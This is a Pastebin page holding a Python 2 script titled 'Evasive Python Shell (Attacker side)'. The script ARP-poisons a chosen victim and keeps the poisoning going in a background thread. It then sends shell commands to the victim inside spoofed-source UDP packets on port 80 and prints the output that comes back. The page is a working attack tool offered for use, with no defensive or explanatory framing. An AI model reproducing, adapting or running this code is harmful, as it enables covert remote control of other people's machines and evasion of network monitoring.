Guest User

Evasive Python Shell (Attacker side)

a guest
Feb 13th, 2016
954
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #! /usr/bin/python
  2.  
  3. import sys
  4. import socket
  5. import threading
  6. import time
  7. from logging import getLogger, ERROR
  8.  
  9. getLogger('scapy.runtime').setLevel(ERROR)
  10.  
  11. try:
  12.     from scapy.all import *
  13. except ImportError:
  14.     print '[!] Scapy Installation Not Found'
  15.     sys.exit(1)
  16.  
  17. try:
  18.     victimIP = raw_input('[*] Enter Victim IP: ')
  19.     spoofIP = raw_input('[*] Enter IP to Spoof: ')
  20.     IF = raw_input('[*] Enter Desired Interface: ')
  21. except KeyboardInterrupt:
  22.     print '[!] User Interrupted Input'
  23.     sys.exit(1)
  24.  
  25. conf.verb = 0
  26.  
  27. def getMAC():
  28.     try:
  29.         pkt = srp(Ether(dst = "ff:ff:ff:ff:ff:ff")/ARP(pdst = victimIP), timeout = 2, iface = IF, inter = 0.1)
  30.     except Exception:
  31.         print '[!] Failed to Resolve Victim MAC Address'
  32.         sys.exit(1)
  33.     for snd, rcv in pkt[0]:
  34.         return rcv.sprintf(r"%Ether.src%")
  35. print '\n[*] Resolving Victim MAC Address... '
  36. victimMAC = getMAC()
  37.  
  38.  
  39. spoofStatus = True
  40. def poison():
  41.     while 1:
  42.         if spoofStatus == False:
  43.             break
  44.             return
  45.         send(ARP(op=2, pdst=victimIP, psrc=spoofIP, hwdst=victimMAC))
  46.         time.sleep(5)
  47.  
  48. print '\n[*] Starting Spoofer Thread...'
  49. thread = []
  50. try:
  51.     poisonerThread = threading.Thread(target=poison)
  52.     thread.append(poisonerThread)
  53.     poisonerThread.start()
  54.     print '[*] Thread Started Successfully\n'
  55. except Exception:
  56.     print '[!] Failed to Start Thread'
  57.     sys.exit(1)
  58.  
  59. print '[*] Initializing Interaction With Victim...'
  60. pkt1 = sr1(IP(dst=victimIP, src=spoofIP)/UDP(sport=80, dport=80)/Raw(load='hello victim'))
  61. pkt2 = sr1(IP(dst=victimIP, src=spoofIP)/UDP(sport=80, dport=80)/Raw(load='report'))
  62.  
  63. prompt = pkt2.getlayer(Raw).load
  64.  
  65. print '[*] Initialization Complete'
  66. print '[*] Enter "goodbye" to Stop Interaction\n'
  67.  
  68. while 1:
  69.     command = raw_input(prompt)
  70.     sendcom = sr1(IP(dst=victimIP, src=spoofIP)/UDP(sport=80, dport=80)/Raw(load=command))
  71.     output = sendcom.getlayer(Raw).load
  72.     if command.strip() == 'goodbye':
  73.         print '\nGrabbing Threads...'
  74.         spoofStatus = False
  75.         poisonerThread.join()
  76.         sys.exit(1)
  77.     print output
RAW Paste Data